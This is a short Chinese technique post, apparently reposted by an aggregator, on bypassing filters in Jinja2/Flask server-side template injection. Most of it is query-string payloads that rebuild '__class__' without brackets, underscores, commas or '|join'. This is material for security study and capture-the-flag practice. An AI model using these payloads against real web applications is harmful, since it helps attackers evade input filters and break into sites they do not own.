python SSTI绕过
Posted cimuhuashuimu
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了python SSTI绕过相关的知识,希望对你有一定的参考价值。
原理
首先以jinja2模板注入为例:
request[request.args.param] 可以用 request|attr(request.args.param) 替代绕过"["、"]"过滤
绕过的方式也就是同义语句转化,下面给出其他的替换绕过"_"字符:
?exp=request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)&usc=_&class=class
等同于 ?exp=request|attr(["_"*2,"class","_"*2]|join)
等同于 ?exp=request|attr(["__","class","__"]|join)
等同于 ?exp=request|attr("__class__")
等同于 ?exp=request.__class__
下面给出一些绕过姿势,假如页面本身注入参数为exploit,想注入的的语句为request.__class__
①绕过 "]"、"["、"_"、class等关键字
使用元组( )和通过传递另外的参数
?exploit=request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)&usc=_&class=class
使用.getlist()优化(能够绕过",")
request|attr(request.args.getlist(request.args.l)|join)&l=a&a=_&a=_&a=class&a=_&a=_
②绕过"|join"
使用|format函数,可以通过传入格式字符串%s,再传入字符,来进行替换
?exploit=request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a)|join
)&f=%s%sclass%s%s&a=_
以上是关于python SSTI绕过的主要内容,如果未能解决你的问题,请参考以下文章
SSTI漏洞学习(下)——Flask/Jinja模板引擎的相关绕过
SSTI漏洞学习(下)——Flask/Jinja模板引擎的相关绕过